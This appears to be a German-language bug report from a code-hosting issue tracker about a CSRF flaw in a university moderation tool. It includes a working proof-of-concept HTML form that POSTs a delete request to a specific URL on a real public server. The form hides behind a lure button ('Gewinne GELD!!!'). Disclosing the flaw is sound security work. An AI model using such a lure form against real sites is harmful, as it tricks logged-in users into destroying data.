Anfällig für CSRF

CSRF ist relativ trivial möglich. Z.B gegen den testserver auf Port 5000 mit folgendem HTML:

<html>
  <body>
    <form method="POST" action="https://eva.fsi.cs.fau.de/moderation/edit/ef63f8b9abb91791aaad0552b5818848/">
      <input type="submit" name="delete" value="Gewinne GELD!!!" />
    </form>
  </body>
</html>

Vorsicht: Auf den Button klicken und eingeloggt sein löscht eine Eva vom Thorsten auf dem öffentlichen eva-server.

To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information